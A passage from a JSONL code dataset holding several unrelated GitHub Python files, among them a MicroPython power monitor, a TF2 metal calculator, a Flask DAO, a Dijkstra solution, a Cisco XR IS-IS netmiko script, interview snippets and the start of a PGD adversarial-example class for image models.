\":BusVolt:INVALID:Current:INVALID:#\"\n print(\"INA219:0x41: 12V Rail read failed...\")\n\n try:\n xbee.transmit(TARGET_64BIT_ADDR, print_twelvevr)\n except:\n print(\"XBee: 12V Rail TX Failed...\")\n\nsolar_ina = INA219(SHUNT_OHMS, I2C(I2C_INTERFACE_NO), SOLAR_INA219A_ADDR)\ntry:\n print(\"INA219:0x45: Configuring solar...\")\n solar_ina.configure_32v_2a()\nexcept:\n print(\"INA219:0x45: Solar Missing...\")\n\nbattery_ina = INA219(SHUNT_OHMS, I2C(I2C_INTERFACE_NO), BATTERY_INA219A_ADDR)\ntry:\n print(\"INA219:0x44: Configuring Battery...\")\n battery_ina.configure_32v_2a()\nexcept:\n print(\"INA219:0x44: Battery Missing...\")\n\nfivevr_ina = INA219(SHUNT_OHMS, I2C(I2C_INTERFACE_NO), FIVEVR_INA219A_ADDR)\ntry:\n print(\"INA219:0x41: Configuring 5V Rail...\")\n fivevr_ina.configure_32v_2a()\nexcept:\n print(\"INA219:0x41: 5V Rail Missing...\")\n\ntwelvevr_ina = INA219(SHUNT_OHMS, I2C(I2C_INTERFACE_NO), TWELVEVR_INA219A_ADDR)\ntry:\n print(\"INA219:0x40: Configuring 12V Rail...\")\n twelvevr_ina.configure_32v_2a()\nexcept:\n print(\"INA219:0x40: 12V Rail Missing...\")\n\nwhile True:\n time_snapshot = str(time.ticks_cpu())\n read_solar()\n time.sleep(6)\n read_battery()\n time.sleep(6)\n read_fivevr()\n time.sleep(6)\n read_twelvevr()\n time.sleep(6)\n","repo_name":"eewiki/WeatherStation","sub_path":"XBee_BatteryCharger/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3868,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"99"} +{"seq_id":"71793795844","text":"# -*- coding: utf-8 -*-\nfrom collections import OrderedDict\nimport decimal\nfrom decimal import Decimal as D\nfrom decimal import ROUND_DOWN\nimport re\nimport sys\n\n__version__ = '2.0.0'\n\nEXCHANGE_RATE = None\n\ndecimal.setcontext(decimal.ExtendedContext)\ndecimal.getcontext().prec = 18\n\ntry:\n import colorama\n colorama.init()\n COLOR = True\nexcept ImportError:\n COLOR = False\n\noperations = OrderedDict([\n (\"+\", lambda x, y: x + y),\n (\"-\", lambda x, y: x - y),\n (\"/\", lambda x, y: x / y),\n (\"*\", lambda x, y: x * y)\n])\n\nsymbols = operations.keys()\n\n\nclass Metal:\n\n __scrap = None\n\n def __init__(self, ref='0', rec='0', scrap='0', weapon='0'):\n # init with 0 metal\n self.__scrap = D('0')\n # init infinity\n all_currency = (D(ref), D(rec), D(scrap), D(weapon))\n if D('inf') in all_currency:\n self.__scrap += D('inf')\n if D('-inf') in all_currency:\n self.__scrap += D('-inf')\n if self.__scrap == D('NaN') or D('NaN') in all_currency:\n raise ValueError('Metal can not be NaN')\n if self.__scrap != D('0'):\n return\n # load weapon arg\n weapon = D(weapon).quantize(D('1'), rounding=ROUND_DOWN)\n # put 0.5 scrap per weapon into metal storage\n self.__scrap += weapon / D('2')\n # load scrap arg, rounding to 0.5 scrap\n scrap = (D(scrap) * D('2')).quantize(D('1')) / D('2')\n # put scrap into storage\n self.__scrap += scrap\n # rec3 stands for reclaimed rounding to 0.33\n rec3 = ((D(rec) * D('3')).quantize(D('1')) / D('3')).quantize(D('.01'), rounding=ROUND_DOWN)\n # rec9 stands for reclaimed rounding to 0.11\n rec9 = ((D(rec) * D('9')).quantize(D('1')) / D('9')).quantize(D('.01'), rounding=ROUND_DOWN)\n # put integer part of rec3 into storage, 3 scrap per reclaimed\n self.__scrap += D('3') * (rec3 // D('1'))\n # put decimal part of rec3 into storage, 1 scrap per 0.33 reclaimed\n self.__scrap += rec3 % D('1') // D('0.33')\n # adjust storage with 0.5 scrap, that's the part of reclaimed over 0.33\n if rec9 > rec3:\n self.__scrap += D('0.5')\n if rec9 < rec3:\n self.__scrap -= D('0.5')\n # ref9 stands for refined rounding to 0.11\n ref9 = ((D(ref) * D('9')).quantize(D('1')) / D('9')).quantize(D('.01'), rounding=ROUND_DOWN)\n # ref18 stands for refined rounding to 0.05\n ref18 = ((D(ref) * D('18')).quantize(D('1')) / D('18')).quantize(D('.01'), rounding=ROUND_DOWN)\n # put integer part of ref9 into storage, 9 scrap per refined\n self.__scrap += D('9') * (ref9 // D('1'))\n # put decimal part of ref9 into storage, 1 scrap per 0.11 reclaimed\n self.__scrap += ref9 % D('1') // D('0.11')\n # adjust storage with 0.5 scrap, that's the part of refined over 0.11\n if ref18 > ref9:\n self.__scrap += D('0.5')\n if ref18 < ref9:\n self.__scrap -= D('0.5')\n\n @property\n def scrap(self):\n return self.__scrap\n\n def strfref(self, fmt):\n \"\"\"\n formatting string:\n\n %w - metal value in weapon\n %s - metal value in scrap\n %c - metal value in reclaimed\n %r - metal value in refined\n %W - weapon amount in normalize form (e.g. 2 ref 1 rec 2 scrap 1 weapon)\n %S - scrap amount in normalize form\n %C - reclaimed amount in normalize form\n %R - refined amount in normalize form\n %% - % character\n \"\"\"\n scrap = self.__scrap\n if scrap.is_infinite():\n ref_w = ref_W = scrap\n ref_s = ref_S = scrap\n ref_c = ref_C = scrap\n ref_r = ref_R = scrap\n else:\n ref_w = (scrap * D('2')).quantize(D('1'))\n ref_W = (scrap % D('1') * D('2')).quantize(D('1'))\n ref_s = scrap.quantize(D('.1'))\n ref_S = (scrap % D('3')).quantize(D('1'), rounding=ROUND_DOWN)\n ref_c = (scrap // D('3') + ref_S * D('0.33') + ref_W * D('0.16')).quantize(D('.01'))\n ref_C = (scrap % D('9') // D('3')).quantize(D('.01'))\n ref_r = (scrap // D('9') + ref_C * D('0.33') + ref_S * D('0.11') + ref_W * D('0.05')).quantize(D('.01'))\n ref_R = (scrap // D('9')).quantize(D('.01'))\n i = 0\n n = len(fmt)\n output = list()\n push = output.append\n while i < n:\n char = fmt[i]\n i += 1\n if char == '%':\n if i < n:\n char = fmt[i]\n i += 1\n if char == 'w':\n push(str(normalize(ref_w)))\n elif char == 'W':\n push(str(normalize(ref_W)))\n elif char == 's':\n push(str(normalize(ref_s)))\n elif char == 'S':\n push(str(normalize(ref_S)))\n elif char == 'c':\n push(str(normalize(ref_c)))\n elif char == 'C':\n push(str(normalize(ref_C)))\n elif char == 'r':\n push(str(normalize(ref_r)))\n elif char == 'R':\n push(str(normalize(ref_R)))\n elif char == '%':\n push('%')\n else:\n push('%')\n push(char)\n else:\n push('%')\n else:\n push(char)\n output = ''.join(output)\n return output\n\n def __str__(self):\n return self.strfref('%r ref')\n\n def __repr__(self):\n ref = self.strfref('%r')\n if self.__scrap < 0:\n return f'-Metal({-ref})'\n return f'Metal({ref})'\n\n def __neg__(self):\n data = -(self.__scrap)\n return Metal(scrap=data)\n\n def __pos__(self):\n return Metal(scrap=self.__scrap)\n\n def __abs__(self):\n return Metal(scrap=abs(self.__scrap))\n\n def __add__(self, other):\n if _is_single_metal(other):\n scrap = self.__scrap + other.scrap\n return Metal(scrap=scrap)\n return NotImplemented\n\n def __radd__(self, other):\n return self.__add__(other)\n\n def __sub__(self, other):\n return self.__add__(-other)\n\n def __rsub__(self, other):\n return -self.__sub__(other)\n\n def __mul__(self, other):\n if _is_number(other):\n scrap = self.__scrap * D(other)\n return Metal(scrap=scrap)\n return NotImplemented\n\n def __rmul__(self, other):\n return self.__mul__(other)\n\n def __truediv__(self, other):\n if _is_single_metal(other):\n data = self.__scrap / other.scrap\n if data.is_finite():\n data = normalize(data.quantize(D('.01')))\n return data\n elif _is_number(other):\n scrap = self.__scrap / D(other)\n return Metal(scrap=scrap)\n return NotImplemented\n\n def __rtruediv__(self, other):\n if _is_single_metal(other):\n return other.__truediv__(self)\n return NotImplemented\n\n def __eq__(self, other):\n if _is_single_metal(other):\n return self.__scrap == other.scrap\n return NotImplemented\n\n def __ne__(self, other):\n if _is_single_metal(other):\n return self.__scrap != other.scrap\n return NotImplemented\n\n def __ge__(self, other):\n if _is_single_metal(other):\n return self.__scrap >= other.scrap\n return NotImplemented\n\n def __le__(self, other):\n if _is_single_metal(other):\n return self.__scrap <= other.scrap\n return NotImplemented\n\n def __gt__(self, other):\n if _is_single_metal(other):\n return self.__scrap > other.scrap\n return NotImplemented\n\n def __lt__(self, other):\n if _is_single_metal(other):\n return self.__scrap < other.scrap\n return NotImplemented\n\n def __bool__(self):\n return self.__scrap != D('0')\n\n\nclass RangeMetal(Metal):\n\n __start = None\n __end = None\n __median = None\n\n def __new__(cls, start, end):\n if not _is_single_metal(start) or not _is_single_metal(end):\n raise TypeError('RangeMetal accepts Metal arguments only')\n if start == end:\n return start\n return super().__new__(cls)\n\n def __init__(self, start, end):\n if start > end:\n start, end = end, start\n self.__start = start\n self.__end = end\n self.__median = (start + end) / D('2')\n\n @property\n def start(self):\n return self.__start\n\n @property\n def end(self):\n return self.__end\n\n @property\n def median(self):\n return self.__median\n\n @property\n def scrap(self):\n raise NotImplementedError('RangeMetal does not support scrap property')\n\n def strfref(self, *args, **kwargs):\n raise NotImplementedError('RangeMetal does not support formatting string')\n\n def __str__(self):\n start = self.__start.strfref('%r')\n end = self.__end.strfref('%r')\n return f'{start} ~ {end} ref'\n\n def __repr__(self):\n start = repr(self.__start)\n end = repr(self.__end)\n return f'RangeMetal({start}, {end})'\n\n def __iter__(self):\n yield self.__start\n yield self.__end\n\n def __neg__(self):\n return RangeMetal(-self.__end, -self.__start)\n\n def __pos__(self):\n return RangeMetal(self.__start, self.__end)\n\n def __abs__(self):\n return NotImplemented\n\n def __add__(self, other):\n if _is_single_metal(other):\n start = self.__start + other\n end = self.__end + other\n elif isinstance(other, RangeMetal):\n start = self.__start + other.start\n end = self.__end + other.end\n else:\n return NotImplemented\n return RangeMetal(start, end)\n\n def __mul__(self, other):\n if _is_number(other):\n start = self.__start * D(other)\n end = self.__end * D(other)\n return RangeMetal(start, end)\n return NotImplemented\n\n def __truediv__(self, other):\n if _is_single_metal(other):\n start = self.__start / other\n if start.is_finite():\n start = normalize(start.quantize(D('.01')))\n end = self.__end / other\n if end.is_finite():\n end = normalize(end.quantize(D('.01')))\n if start == end:\n return start\n if start > end:\n start, end = end, start\n return (start, end)\n elif isinstance(other, RangeMetal):\n answers = [\n self.__start / other.start,\n self.__start / other.end,\n self.__end / other.start,\n self.__end / other.end\n ]\n start = min(answers)\n end = max(answers)\n if start.is_finite():\n start = normalize(start.quantize(D('.01')))\n if end.is_finite():\n end = normalize(end.quantize(D('.01')))\n if start == end:\n return start\n return (start, end)\n elif _is_number(other):\n start = self.__start / D(other)\n end = self.__end / D(other)\n return RangeMetal(start, end)\n return NotImplemented\n\n def __rtruediv__(self, other):\n if _is_single_metal(other):\n start = other / self.__start\n if start.is_finite():\n start = normalize(start.quantize(D('.01')))\n end = other / self.__end\n if end.is_finite():\n end = normalize(end.quantize(D('.01')))\n if start == end:\n return start\n if start > end:\n start, end = end, start\n return (start, end)\n elif isinstance(other, RangeMetal):\n return other.__truediv__(self)\n return NotImplemented\n\n def __eq__(self, other):\n if _is_single_metal(other):\n return False\n if isinstance(other, RangeMetal):\n if self.__start == other.start and self.__end == other.end:\n return True\n return False\n return NotImplemented\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __ge__(self, other):\n return NotImplemented\n\n def __le__(self, other):\n return NotImplemented\n\n def __gt__(self, other):\n return NotImplemented\n\n def __lt__(self, other):\n return NotImplemented\n\n def __bool__(self):\n return True\n\n\nclass ParserError(Exception):\n\n def __init__(self, message):\n super(ParserError, self).__init__()\n self.message = message\n\n def __repr__(self):\n classname = self.__class__.__name__\n return f'{classname}({repr(self.message)})'\n\n def __str__(self):\n return self.message\n\n\ndef _is_single_metal(obj):\n return isinstance(obj, Metal) and not isinstance(obj, RangeMetal)\n\n\ndef _is_number(obj):\n try:\n D(obj)\n return True\n except Exception:\n return False\n\n\ndef normalize(d):\n return d.quantize(D('1')) if d.is_finite() and d == d.to_integral() else d.normalize()\n\n\ndef convert(expr):\n words = [\n 'ref',\n 'refined',\n 'rec',\n 'reclaimed',\n 'scrap',\n 'wep',\n 'weapon'\n ]\n expr = ''.join(expr.lower().split())\n keywords = re.sub(r'[\\d.]', ' ', expr).split()\n for w in keywords:\n if w not in words:\n raise ParserError('Bad Currency')\n if not keywords:\n return D(expr)\n ref = D('0')\n rec = D('0')\n scrap = D('0')\n wep = D('0')\n for w in keywords:\n index = expr.find(w)\n value = expr[:index]\n if not value:\n raise ParserError('Bad Number')\n expr = expr[index + len(w):]\n if w == 'ref' or w == 'refined':\n ref += D(value)\n elif w == 'rec' or w == 'reclaimed':\n rec += D(value)\n elif w == 'scrap':\n scrap += D(value)\n elif w == 'wep' or w == 'weapon':\n wep += D(value)\n if expr:\n raise ParserError('Bad Currency')\n return Metal(ref, rec, scrap, wep)\n\n\ndef lex(expr):\n tokens = []\n while expr:\n char = expr[0]\n expr = expr[1:]\n if char == \"(\":\n try:\n paren, expr = lex(expr)\n tokens.append(paren)\n except ValueError:\n raise ParserError('Paren Mismatch')\n elif char == \")\":\n for i, v in enumerate(tokens):\n if not isinstance(v, list) and v not in symbols:\n tokens[i] = convert(v)\n return tokens, expr\n elif char in symbols:\n tokens.append(char)\n elif char.isspace():\n pass\n else:\n try:\n if tokens[-1] in symbols:\n tokens.append(char)\n elif isinstance(tokens[-1], list):\n raise ParserError('Invalid Syntax')\n else:\n tokens[-1] += char\n except IndexError:\n tokens.append(char)\n for i, v in enumerate(tokens):\n if not isinstance(v, list) and v not in symbols:\n tokens[i] = convert(v)\n return tokens\n\n\ndef evaluate(tokens):\n for symbol, func in operations.items():\n try:\n pos = tokens.index(symbol)\n leftTerm = evaluate(tokens[:pos])\n if leftTerm is None:\n if symbol in '+-' and pos + 1 < len(tokens) and tokens[pos + 1] not in ['+', '-', '*', '/']:\n leftTerm = D('0')\n else:\n raise ParserError('Bad Expression')\n rightTerm = evaluate(tokens[pos + 1:])\n if rightTerm is None:\n raise ParserError('Bad Expression')\n return func(leftTerm, rightTerm)\n except ValueError:\n pass\n if len(tokens) is 1:\n if isinstance(tokens[0], list):\n return evaluate(tokens[0])\n return tokens[0]\n elif not tokens:\n return None\n else:\n raise ParserError('Bad Expression')\n\n\ndef calc(expr):\n try:\n ans = evaluate(lex(expr))\n if isinstance(ans, D):\n ans = normalize(ans.quantize(D('.01')))\n except decimal.InvalidOperation:\n raise ParserError('Precision Overflow')\n except decimal.DivisionByZero:\n raise ParserError('Division by Zero')\n except TypeError:\n raise ParserError('Meaningless Operation')\n return ans\n\n\ndef calc_str(expr):\n try:\n return calc(expr)\n except ParserError as e:\n return 'Error: {}'.format(e.message)\n except Exception as e:\n return 'Error: {}'.format(e.__class__.__name__)\n\n\ndef _print_color(color, *args, **kw):\n args = list(args)\n if args:\n args[0] = colorama.Style.RESET_ALL + color + args[0]\n args[-1] = args[-1] + colorama.Style.RESET_ALL\n else:\n args = [color + colorama.Style.RESET_ALL]\n print(*args, **kw)\n\n\ndef _print_func(mode, *args, **kw):\n if COLOR:\n mode_list = {\n 'title': colorama.Fore.LIGHTBLUE_EX,\n 'info': colorama.Fore.LIGHTYELLOW_EX,\n 'error': colorama.Fore.LIGHTRED_EX,\n 'input': colorama.Style.RESET_ALL,\n 'output': colorama.Fore.LIGHTGREEN_EX,\n 'prompt': colorama.Fore.LIGHTMAGENTA_EX,\n 'equal': colorama.Fore.LIGHTBLUE_EX\n }\n _print_color(mode_list[mode], *args, **kw)\n else:\n print(*args, **kw)\n\n\ndef _term_handler(signal, frame):\n sys.exit(0)\n\n\nif __name__ == '__main__':\n tool_name = 'TF2 Metal Calculator {}'.format(__version__)\n import platform\n import signal\n signal.signal(signal.SIGINT, _term_handler)\n if '--nocolor' in sys.argv:\n COLOR = False\n args = [a for a in sys.argv[1:] if not a.startswith('--') and a != '-']\n args = [a for a in args if not a.startswith('-') or len(a) != 2 or a[1] in '0123456789']\n if args:\n for expr in args:\n answer = calc_str(expr)\n if isinstance(answer, Metal):\n print(answer.strfref('%rref'))\n elif isinstance(answer, D):\n print('{}'.format(answer))\n elif isinstance(answer, str):\n print(answer)\n sys.exit(0)\n if platform.system() == 'Windows' and getattr(sys, 'frozen', False):\n import ctypes\n ctypes.windll.kernel32.SetConsoleTitleW(tool_name)\n _print_func('title', '{} by deluxghost\\nType \"quit\" to exit.\\nType \"help\" to get more information.'.format(tool_name))\n while True:\n try:\n _print_func('prompt', '>> ', end='')\n expr = input().strip()\n except EOFError:\n break\n if not expr:\n continue\n if expr.lower() == 'q' or expr.lower() == 'quit' or expr.lower() == 'exit':\n break\n elif expr.lower() == 'h' or expr.lower() == 'help' or expr == '?':\n _print_func(\n 'info',\n 'Use ref, rec, scrap or wep as metal unit.\\n'\n 'Examples:'\n )\n _print_func('prompt', '>> ', end='')\n _print_func('input', '(2.33ref1rec * 3 + 3scrap) / 2')\n _print_func('equal', '= ', end='')\n _print_func('output', '4.16ref')\n _print_func('prompt', '>> ', end='')\n _print_func('input', '2.55ref * 4')\n _print_func('equal', '= ', end='')\n _print_func('output', '10.22ref')\n continue\n answer = calc_str(expr)\n if isinstance(answer, Metal):\n _print_func('equal', '= ', end='')\n _print_func('output', answer.strfref('%rref'))\n elif isinstance(answer, D):\n _print_func('equal', '= ', end='')\n _print_func('output', '{}'.format(answer))\n elif isinstance(answer, str):\n _print_func('error', answer)\n","repo_name":"deluxghost/tf2metal","sub_path":"metal.py","file_name":"metal.py","file_ext":"py","file_size_in_byte":20193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"6368948883","text":"import pytest\nfrom rest_framework import status\n\nfrom restapi_readability.tests.setup import url_options as url, description_fd, description_kpc, \\\n description_fk, description_smog, description_spache\n\n\n@pytest.mark.API\ndef test_hard_fd(client):\n correct_response_data = {\n \"metric_options\": {\n \"difficult_sentences\": [\n {\n \"metric_name\": \"Spache\",\n \"description\": description_spache\n }\n ],\n \"readability_measures\": [\n {\n \"metric_name\": \"FleschDouma\",\n \"description\": description_fd\n },\n {\n \"metric_name\": \"FleschKincaid\",\n \"description\": description_fk\n },\n {\n \"metric_name\": \"KPC\",\n \"description\": description_kpc\n },\n {\n \"metric_name\": \"SMOG\",\n \"description\": description_smog\n }\n ]\n }\n }\n response = client.get(url, format='json')\n assert response.status_code == status.HTTP_200_OK\n assert response.data == correct_response_data\n","repo_name":"delftcrowd/ARTIST","sub_path":"backend/restapi_readability/tests/option_tests.py","file_name":"option_tests.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"36872112376","text":"from flask_server import db\n\nfrom flask_server.dto.ToolDTO import ToolDTO\nfrom flask_server.dto.ToolForTribulationDTO import ToolForTribulationDTO as tft\n\nfrom flask_server.dao import TribulationDAO\nfrom flask_server.dao import ToolDAO\n\ndef enoughQuantity(tool_id, tribulation_id, quantity):\n tribulation = TribulationDAO.dbGet(tribulation_id)\n tool_quantity = ToolDAO.dbGet(tool_id).quantity\n result = False\n try:\n list_tool = tft.query.filter(tft.tool_id == tool_id, tft.time_start >= tribulation.time_start, tft.time_end <= tribulation.time_end).all()\n #sum quantity\n sum = 0\n for tool in list_tool:\n sum += tool.quantity\n print('tool quantity = ', tool_quantity)\n print('sum = ', sum)\n print('quantity = ', quantity)\n result = (tool_quantity >= (sum + quantity))\n except Exception as e:\n raise e\n return result\n \n\ndef dbCreate(new_tool):\n result = False\n try:\n if enoughQuantity(new_tool.tool_id, new_tool.tribulation_id, new_tool.quantity):\n db.session.add(new_tool)\n db.session.flush()\n db.session.commit()\n result = True\n except Exception as e:\n db.session.rollback()\n raise e\n return result\n\ndef dbUpdate(update_tool):\n data = update_tool.serialize()\n result = False\n try: \n tool_to_update = tft.query.filter(tft.tool_id == update_tool.tool_id, tft.tribulation_id == update_tool.tribulation_id).first()\n if enoughQuantity(update_tool.tool_id, update_tool.tribulation_id, update_tool.quantity):\n tool_to_update.merge(data)\n db.session.commit()\n result = True\n except Exception as e:\n db.session.rollback()\n raise e\n return result\n\ndef dbDelete(tool_id, tribulation_id):\n result = False\n try:\n tool_to_delete = tft.query.filter(tft.tool_id == tool_id, tft.tribulation_id == tribulation_id).first()\n db.session.delete(tool_to_delete)\n db.session.commit()\n result = True\n except Exception as e:\n db.session.rollback()\n raise e\n return result\n\n\n ","repo_name":"khanh585/PRM_Server","sub_path":"flask_server/dao/ToolForTribulationDAO.py","file_name":"ToolForTribulationDAO.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"14583536405","text":"import sys\nimport heapq\n\nr = sys.stdin.readline\n\ndef dijkstra(dis, S):\n pq = []\n dis[S] = 0\n heapq.heappush(pq, (0, S))\n while pq:\n d, u = heapq.heappop(pq)\n if d > dis[u]: continue\n for v, c in adj[u]:\n if dis[v] > d + c:\n dis[v] = d + c\n heapq.heappush(pq, (dis[v], v))\n\n\nn, e = map(int, r().split())\nadj = [[] for _ in range(n+1)]\nfor i in range(e):\n a, b, c = map(int, r().split())\n adj[a].append((b, c))\n adj[b].append((a, c))\n\ndis1 = [10**18]*(n+1)\ndisv1 = [10**18]*(n+1)\ndisv2 = [10**18]*(n+1)\nv1, v2 = map(int, r().split())\ndijkstra(dis1, 1)\ndijkstra(disv1, v1)\ndijkstra(disv2, v2)\n\nans = min(dis1[v1] + disv1[v2] + disv2[n], dis1[v2] + disv2[v1] + disv1[n])\nif ans >= 10**18: print(-1)\nelse: print(ans)","repo_name":"Re-bro/ICPC-Sinchon-Camp-Lecture-Note","sub_path":"11회차/11회차 필수문제 코드/Python/1504.py","file_name":"1504.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"39848804548","text":"def cisco_xr(host):\n \n from netmiko import ConnectHandler\n from prettytable import PrettyTable\n from modules import ReadableRate\n import re\n \n interface, neighbor = \"\",\"\"\n rx,tx = \"\",\"\"\n table = PrettyTable(['Interface','In','Out','Neighbor','Metric','Total_Traffic'])\n \n net_connect = ConnectHandler(**host)\n no_prompt = net_connect.send_command(\"terminal exec prompt no-timestamp\")\n isis_int = net_connect.send_command(\"show isis neighbor | include Up\")\n isis_int = isis_int.splitlines()\n while '' in isis_int:\n isis_int.pop(isis_int.index(''))\n for line in isis_int:\n total_traffic = 0\n # Extract neighbor and interface\n for item in line.split():\n if re.search(\"[0-9]+/[0-9]+/[0-9]+/[0-9+]\", item) != None:\n interface = item\n elif re.search(\"^BE\", item) != None:\n interface = 'Bundle-Ether' + item[2:len(item)]\n neighbor = line.split()[0]\n neighbor = neighbor.replace('-re0','') # Don't care about Junipers with apply-\n neighbor = neighbor.replace('-re1','') # groups to append active RE to hostname\n # Get interface traffic\n show_int = net_connect.send_command(\"show interface \" + interface.split('.')[0] + ' | include \"put rate\"')\n show_int = show_int.splitlines()\n for l in show_int:\n counter = 0\n for thing in l.split():\n if re.search(\"bits\",thing) == None:\n counter+=1\n else:\n counter -=1\n if \"nput\" in l:\n rx = ReadableRate(int(l.split()[counter]))\n total_traffic = total_traffic + int(l.split()[counter])\n counter +=1\n elif \"utput\" in l:\n tx = ReadableRate(int(l.split()[counter]))\n total_traffic = total_traffic + int(l.split()[counter])\n counter +=1\n # Get isis metric\n show_isis = net_connect.send_command(\"show isis interface \" + interface + \" | include Metric\")\n show_isis = show_isis.splitlines()\n for lines in show_isis:\n for word in lines .split():\n if re.search(\"[0-9]+/[0-9]+\", word) != None:\n metric = word\n table.add_row([interface,rx.rate,tx.rate,neighbor,metric,(total_traffic*-1)])\n \n net_connect.disconnect()\n print(table.get_string(sortby='Total_Traffic'))","repo_name":"mygoda/get_isis","sub_path":"get_isis_xr.py","file_name":"get_isis_xr.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"99"} +{"seq_id":"23670262257","text":"import random\nimport sys\nimport math\nimport scipy.stats\n\n\n# returns first unique character from a string. O(n)\ndef first_unique(s):\n d = {}\n for c in s:\n if c in d.keys():\n d[c] += 1\n else:\n d[c] = 1\n\n for c in s:\n if d[c] == 1:\n print(c)\n\n\n# 'melts' a histogram, returns path and number of steps until fully melted\ndef melt_histogram(arr):\n arr = [0] + arr + [0]\n arr2 = arr[:]\n counter = 0\n while sum(arr2) != 0:\n arr = arr2[:]\n print(arr2)\n for i in range(1, len(arr) - 1):\n if arr[i] - 1 >= 0:\n arr2[i] = min(arr[i - 1], arr[i] - 1, arr[i + 1])\n else:\n arr2[i] = 0\n counter += 1\n print(arr2)\n print(\"Number of steps: {}\".format(counter))\n\n# reverses a string in place. O(1) space, O(n) time.\ndef reverse_in_place(s):\n s = list(s)\n for i, j in zip(range(len(s) // 2), range(len(s) - 1, -1, -1)):\n temp = s[i]\n s[i] = s[j]\n s[j] = temp\n print(''.join(s))\n\n\ndef matching_parentheses(str):\n c = 0\n for char in str:\n if char == '(':\n c += 1\n elif char == ')':\n c -= 1\n return c == 0\n\ndef coin_flip_probability(num_flips, num_heads):\n # given n flips, k heads, probability is:\n # (n choose k) p^n (1-p)^(n-k)\n # below we assume a fair coin (i.e. p = 0.5)\n p = 0.5\n pdf_sum = 0\n for i in range(num_heads, num_flips+1):\n nCk = math.factorial(num_flips) / (math.factorial(i) * \\\n math.factorial(num_flips - i))\n pdf_sum += nCk * pow(p, i) * pow(p, num_flips - i)\n\n return pdf_sum\n\ndef coin_flip_normal_approx(num_flips, num_heads):\n p = 0.5\n mean = num_flips * p\n var = mean * (1 - p)\n\n dist = scipy.stats.norm(mean, var)\n sig = math.sqrt(var)\n\n lim = (num_heads - mean)/sig\n return dist.cdf(lim)\n\n# given a sorted list of numbers missing one element, find the missing number\ndef missing_no(lst):\n first = lst[0]\n last = lst[len(lst) - 1]\n mid = len(lst) // 2\n\n if len(lst) == 2:\n return first + 1\n\n if lst[mid] - first != len(lst[:mid]):\n #print(lst[:mid + 1])\n return missing_no(lst[:mid + 1])\n elif last - lst[mid] != len(lst[mid + 1:]):\n #print(lst[mid:])\n return missing_no(lst[mid:])\n\nif __name__ == '__main__':\n #inp = input(\"#>\")\n #print(matching_parentheses(inp))\n\n num_list = [x for x in range(101)]\n rand_ind = random.randint(0,99)\n print(num_list[rand_ind])\n del num_list[rand_ind]\n print(missing_no(num_list))\n\n #print(coin_flip_probability(400, 220) * 100)\n #print(coin_flip_normal_approx(400, 220) * 100)\n\n #reverse_in_place(\"Hello, World!\")\n\n #first_unique(\"abpcsdadpbc\")\n\n #ex1 = [5, 4, 3, 6, 0, 1]\n # ex2 = [3, 1, 4, 1, 5, 1, 6, 1]\n # melt_histogram(ex2)\n","repo_name":"tmarathe/snippets-unorganized","sub_path":"interview_prep.py","file_name":"interview_prep.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"23645769734","text":"'''Crie um programa onde o usuário possa digitar sete\r\nvalores númericos e cadastre-os em uma lista única que\r\nmantenha separados os valores pares e ímpares. No final,\r\nmostre os valores pares e ímpares em ordem crescente.'''\r\n\r\n'''lista = []\r\n\r\nfor c in range(0, 7):\r\n lista.append(int(input(f'Digite o {c+1}º valor: ')))\r\nlista.sort()\r\nprint(f'os pares são: ', end='')\r\nfor c in lista:\r\n if c % 2 == 0:\r\n print(c, end=' ')\r\nprint(f'\\nOs ímpares são: ', end='')\r\nfor c in lista:\r\n if c % 2 == 1:\r\n print(c, end=' ')''' #jeito que eu fiz\r\n\r\nlista = [[], []]\r\nvalor = 0\r\n\r\nfor c in range(1, 8):\r\n valor = int(input(f'Digite o {c}º valor: '))\r\n if valor % 2 == 0:\r\n lista[0].append(valor)\r\n else:\r\n lista[1].append(valor)\r\nlista[0].sort()\r\nlista[1].sort()\r\nprint('-='*30)\r\nprint(f'Os valores pares foram: {lista[0]}')\r\nprint(f'Os valores ímpares foram: {lista[1]}')\r\n","repo_name":"rodolfo-rbm/Curso-de-Python-Mundo-3","sub_path":"ex85.py","file_name":"ex85.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"2087563713","text":"'''\nRuns a Projected Gradient Descent adversarial attack\nby perturbing images based on first-order information\nfrom the neural network\n'''\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport matplotlib.pyplot as plt\n\n\nimport numpy as np\n\n\nclass LinfPGDAttack:\n\n def __init__(self, model, epsilon, num_steps, step_size, random_start, device):\n self.model = model\n self.epsilon = epsilon\n self.num_steps = num_steps\n self.step_size = step_size\n self.rand = random_start\n self.loss = nn.CrossEntropyLoss()\n self.device = device\n\n def perturb(self, x_nat, y):\n \"\"\"Given a set of examples (x_nat, y), returns a set of adversarial\n examples within epsilon of x_nat in l_infinity norm.\"\"\"\n x_nat = x_nat.cpu()\n if self.rand:\n x = x_nat + np.random.uniform(-self.epsilon, self.epsilon, x_nat.shape)\n x = torch.clip(x, 0, 1) # ensure valid pixel range\n else:\n x = x_nat.astype(torch.float)\n\n for i in range(self.num_steps):\n x = x.to(self.device)\n x.requires_grad = True\n preds = self.model(x)\n loss = self.loss(preds, y)\n loss.backward()\n grad = x.grad.cpu()\n x = x.cpu().detach() + self.step_size * torch.sign(grad)\n x = torch.clip(x, x_nat - self.epsilon, x_nat + self.epsilon)\n x = torch.clip(x, 0, 1) # ensure valid pixel range\n return x.to(self.device)\n\n\nif __name__ == '__main__':\n import json\n import sys\n import math\n import time\n\n from model import ResNet, BasicBlock\n\n with open('config.json') as config_file:\n config = 